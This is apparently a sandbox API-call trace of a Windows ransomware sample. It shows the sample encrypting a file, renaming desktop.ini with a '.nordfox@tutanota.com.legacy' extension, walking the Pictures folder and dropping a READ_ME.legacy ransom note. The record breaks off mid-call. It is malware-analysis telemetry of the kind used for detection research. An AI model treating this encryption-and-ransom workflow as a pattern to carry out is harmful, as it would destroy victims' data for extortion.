[0112.606] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0112.606] WriteFile (in: hFile=0x5fc, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0112.607] WriteFile (in: hFile=0x5fc, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0112.607] CloseHandle (hObject=0x5fc) returned 1 [0112.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0112.607] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0112.607] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\OneDrive\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\OneDrive\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\onedrive\\desktop.ini.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0112.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563a08 | out: hHeap=0x520000) returned 1 [0112.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d818 | out: hHeap=0x520000) returned 1 [0112.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0112.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0112.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d60 | out: hHeap=0x520000) returned 1 [0112.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d898 | out: hHeap=0x520000) returned 1 [0112.609] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Pictures\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2098343, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2098343, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6158 [0112.609] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.609] GetLastError () returned 0x0 [0112.609] SetLastError (dwErrCode=0x0) [0112.609] GetLastError () returned 0x0 [0112.609] SetLastError (dwErrCode=0x0) [0112.609] GetLastError () returned 0x0 [0112.609] SetLastError (dwErrCode=0x0) [0112.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0112.609] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0112.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c6598 [0112.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c6598 | out: hHeap=0x520000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0112.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0112.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0112.610] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd2098343, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2098343, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0112.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.610] GetLastError () returned 0x0 [0112.610] SetLastError (dwErrCode=0x0) [0112.610] GetLastError () returned 0x0 [0112.610] SetLastError (dwErrCode=0x0) [0112.610] GetLastError () returned 0x0 [0112.610] SetLastError (dwErrCode=0x0) [0112.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0112.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0112.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0112.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c65d8 [0112.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c65d8 | out: hHeap=0x520000) returned 1 [0112.610] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20090 [0112.610] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20090 | out: hHeap=0x520000) returned 1 [0112.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0112.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0112.611] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1ced700, ftCreationTime.dwHighDateTime=0x1d4cd21, ftLastAccessTime.dwLowDateTime=0x9f0dc590, ftLastAccessTime.dwHighDateTime=0x1d4ca3e, ftLastWriteTime.dwLowDateTime=0x9f0dc590, ftLastWriteTime.dwHighDateTime=0x1d4ca3e, nFileSizeHigh=0x0, nFileSizeLow=0x1c7c, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="-bG186JrIOk4zFG1.jpg", cAlternateFileName="-BG186~1.JPG")) returned 1 [0112.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0112.611] GetLastError () returned 0x0 [0112.611] SetLastError (dwErrCode=0x0) [0112.611] GetLastError () returned 0x0 [0112.611] SetLastError (dwErrCode=0x0) [0112.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0112.611] GetLastError () returned 0x0 [0112.611] SetLastError (dwErrCode=0x0) [0112.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567070 [0112.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567070 | out: hHeap=0x520000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556778 [0112.611] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78083be0, ftCreationTime.dwHighDateTime=0x1d4cd6a, ftLastAccessTime.dwLowDateTime=0x4c0c9ef0, ftLastAccessTime.dwHighDateTime=0x1d4c888, ftLastWriteTime.dwLowDateTime=0x4c0c9ef0, ftLastWriteTime.dwHighDateTime=0x1d4c888, nFileSizeHigh=0x0, nFileSizeLow=0xd60f, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="0HllVzVX1aBxHiyvB.png", cAlternateFileName="0HLLVZ~1.PNG")) returned 1 [0112.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578188 [0112.611] GetLastError () returned 0x0 [0112.611] SetLastError (dwErrCode=0x0) [0112.611] GetLastError () returned 0x0 [0112.611] SetLastError (dwErrCode=0x0) [0112.611] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.611] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578188 | out: hHeap=0x520000) returned 1 [0112.612] GetLastError () returned 0x0 [0112.612] SetLastError (dwErrCode=0x0) [0112.612] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0112.612] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0112.613] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556980 [0112.614] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea60b50, ftCreationTime.dwHighDateTime=0x1d4d41d, ftLastAccessTime.dwLowDateTime=0x8748e4e0, ftLastAccessTime.dwHighDateTime=0x1d4c67d, ftLastWriteTime.dwLowDateTime=0x8748e4e0, ftLastWriteTime.dwHighDateTime=0x1d4c67d, nFileSizeHigh=0x0, nFileSizeLow=0x8cc5, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="0oBfVS Usv6dK.png", cAlternateFileName="0OBFVS~1.PNG")) returned 1 [0112.615] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.615] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.616] GetLastError () returned 0x0 [0112.617] SetLastError (dwErrCode=0x0) [0112.617] GetLastError () returned 0x0 [0112.618] SetLastError (dwErrCode=0x0) [0112.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.618] GetLastError () returned 0x0 [0112.618] SetLastError (dwErrCode=0x0) [0112.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566d28 [0112.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566d28 | out: hHeap=0x520000) returned 1 [0112.618] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556ab8 [0112.618] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd9f52530, ftCreationTime.dwHighDateTime=0x1d4cada, ftLastAccessTime.dwLowDateTime=0xb88b5a0, ftLastAccessTime.dwHighDateTime=0x1d4c7af, ftLastWriteTime.dwLowDateTime=0xb88b5a0, ftLastWriteTime.dwHighDateTime=0x1d4c7af, nFileSizeHigh=0x0, nFileSizeLow=0x149e2, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="0rDesT6kKLWA05N2x0HJ.jpg", cAlternateFileName="0RDEST~1.JPG")) returned 1 [0112.618] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.619] GetLastError () returned 0x0 [0112.619] SetLastError (dwErrCode=0x0) [0112.619] GetLastError () returned 0x0 [0112.619] SetLastError (dwErrCode=0x0) [0112.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.619] GetLastError () returned 0x0 [0112.619] SetLastError (dwErrCode=0x0) [0112.619] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.619] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556cc0 [0112.620] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5edd5f0, ftCreationTime.dwHighDateTime=0x1d4c85d, ftLastAccessTime.dwLowDateTime=0x2e813e90, ftLastAccessTime.dwHighDateTime=0x1d4d355, ftLastWriteTime.dwLowDateTime=0x2e813e90, ftLastWriteTime.dwHighDateTime=0x1d4d355, nFileSizeHigh=0x0, nFileSizeLow=0x189ac, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="491u6ffCX5Qycc.png", cAlternateFileName="491U6F~1.PNG")) returned 1 [0112.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578260 [0112.620] GetLastError () returned 0x0 [0112.620] SetLastError (dwErrCode=0x0) [0112.620] GetLastError () returned 0x0 [0112.620] SetLastError (dwErrCode=0x0) [0112.620] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.620] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578260 | out: hHeap=0x520000) returned 1 [0112.620] GetLastError () returned 0x0 [0112.621] SetLastError (dwErrCode=0x0) [0112.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566f90 [0112.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566f90 | out: hHeap=0x520000) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556a50 [0112.621] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3c3e470, ftCreationTime.dwHighDateTime=0x1d4ce18, ftLastAccessTime.dwLowDateTime=0x59715300, ftLastAccessTime.dwHighDateTime=0x1d4ce33, ftLastWriteTime.dwLowDateTime=0x59715300, ftLastWriteTime.dwHighDateTime=0x1d4ce33, nFileSizeHigh=0x0, nFileSizeLow=0x16c98, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="62aOVCSrWeabP.png", cAlternateFileName="62AOVC~1.PNG")) returned 1 [0112.621] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.621] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0112.621] GetLastError () returned 0x0 [0112.621] SetLastError (dwErrCode=0x0) [0112.621] GetLastError () returned 0x0 [0112.622] SetLastError (dwErrCode=0x0) [0112.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578458 | out: hHeap=0x520000) returned 1 [0112.622] GetLastError () returned 0x0 [0112.622] SetLastError (dwErrCode=0x0) [0112.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567268 [0112.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567268 | out: hHeap=0x520000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556570 [0112.622] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c22190, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0xa4c05bf0, ftLastAccessTime.dwHighDateTime=0x1d4d255, ftLastWriteTime.dwLowDateTime=0xa4c05bf0, ftLastWriteTime.dwHighDateTime=0x1d4d255, nFileSizeHigh=0x0, nFileSizeLow=0xc9ed, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="7oqeq0SRAmoJE.gif", cAlternateFileName="7OQEQ0~1.GIF")) returned 1 [0112.622] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.622] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5785c0 [0112.623] GetLastError () returned 0x0 [0112.623] SetLastError (dwErrCode=0x0) [0112.623] GetLastError () returned 0x0 [0112.623] SetLastError (dwErrCode=0x0) [0112.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0112.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5785c0 | out: hHeap=0x520000) returned 1 [0112.623] GetLastError () returned 0x0 [0112.623] SetLastError (dwErrCode=0x0) [0112.623] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0112.623] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b88 [0112.624] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0a7b690, ftCreationTime.dwHighDateTime=0x1d4d48a, ftLastAccessTime.dwLowDateTime=0x44d4d7f0, ftLastAccessTime.dwHighDateTime=0x1d4c960, ftLastWriteTime.dwLowDateTime=0x44d4d7f0, ftLastWriteTime.dwHighDateTime=0x1d4c960, nFileSizeHigh=0x0, nFileSizeLow=0x115c6, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="7QUkW.gif", cAlternateFileName="")) returned 1 [0112.624] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0112.624] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.624] GetLastError () returned 0x0 [0112.624] SetLastError (dwErrCode=0x0) [0112.624] GetLastError () returned 0x0 [0112.624] SetLastError (dwErrCode=0x0) [0112.625] GetLastError () returned 0x0 [0112.625] SetLastError (dwErrCode=0x0) [0112.626] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0112.627] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0112.628] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d0e0 [0112.628] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d4289b0, ftCreationTime.dwHighDateTime=0x1d4d4ec, ftLastAccessTime.dwLowDateTime=0x8f723de0, ftLastAccessTime.dwHighDateTime=0x1d4c981, ftLastWriteTime.dwLowDateTime=0x8f723de0, ftLastWriteTime.dwHighDateTime=0x1d4c981, nFileSizeHigh=0x0, nFileSizeLow=0x1748b, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="ArxvN-8o1FXQH.bmp", cAlternateFileName="ARXVN-~1.BMP")) returned 1 [0112.629] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.630] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5781d0 [0112.630] GetLastError () returned 0x0 [0112.631] SetLastError (dwErrCode=0x0) [0112.631] GetLastError () returned 0x0 [0112.632] SetLastError (dwErrCode=0x0) [0112.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5781d0 | out: hHeap=0x520000) returned 1 [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x566c10 [0112.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566c10 | out: hHeap=0x520000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5569e8 [0112.633] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc98f7410, ftCreationTime.dwHighDateTime=0x1d4c7ca, ftLastAccessTime.dwLowDateTime=0x995d5a40, ftLastAccessTime.dwHighDateTime=0x1d4d09a, ftLastWriteTime.dwLowDateTime=0x995d5a40, ftLastWriteTime.dwHighDateTime=0x1d4d09a, nFileSizeHigh=0x0, nFileSizeLow=0xaff9, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="bhd97ASHx_vIi6NUtKYM.bmp", cAlternateFileName="BHD97A~1.BMP")) returned 1 [0112.633] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.633] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578140 [0112.633] GetLastError () returned 0x0 [0112.633] SetLastError (dwErrCode=0x0) [0112.633] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0112.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578140 | out: hHeap=0x520000) returned 1 [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578968 [0112.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578968 | out: hHeap=0x520000) returned 1 [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5567e0 [0112.634] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x51278b1d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd45b4543, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x51278b1d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Camera Roll", cAlternateFileName="CAMERA~1")) returned 1 [0112.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578698 [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0112.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0112.634] GetLastError () returned 0x0 [0112.634] SetLastError (dwErrCode=0x0) [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d870 [0112.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d708 | out: hHeap=0x520000) returned 1 [0112.634] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d870 | out: hHeap=0x520000) returned 1 [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d190 [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d708 [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d1e8 [0112.634] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0112.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3418 [0112.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0112.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0112.635] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] GetLastError () returned 0x0 [0112.635] SetLastError (dwErrCode=0x0) [0112.635] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0112.635] CreateFileW (lpFileName="\\Users\\FD1HVy\\Pictures\\Camera Roll\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\pictures\\camera roll\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x600 [0112.636] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0112.636] WriteFile (in: hFile=0x600, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0112.637] CloseHandle (hObject=0x600) returned 1 [0112.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0112.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3418 | out: hHeap=0x520000) returned 1 [0112.637] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0112.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0112.638] FindNextFileW (in: hFindFile=0x5c6158, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a889aa0, ftCreationTime.dwHighDateTime=0x1d4cb1f, ftLastAccessTime.dwLowDateTime=0x529942d0, ftLastAccessTime.dwHighDateTime=0x1d4ce48, ftLastWriteTime.dwLowDateTime=0x529942d0, ftLastWriteTime.dwHighDateTime=0x1d4ce48, nFileSizeHigh=0x0, nFileSizeLow=0x3ca3, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="DDeuA1A_b7DAvtwgDbC.png", cAlternateFileName="DDEUA1~1.PNG")) returned 1 [0112.638] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0112.638] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578458 [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] GetLastError () returned 0x0 [0112.638] SetLastError (dwErrCode=0x0) [0112.638] RtlAllocateHeap (HeapHandle=0x520000, 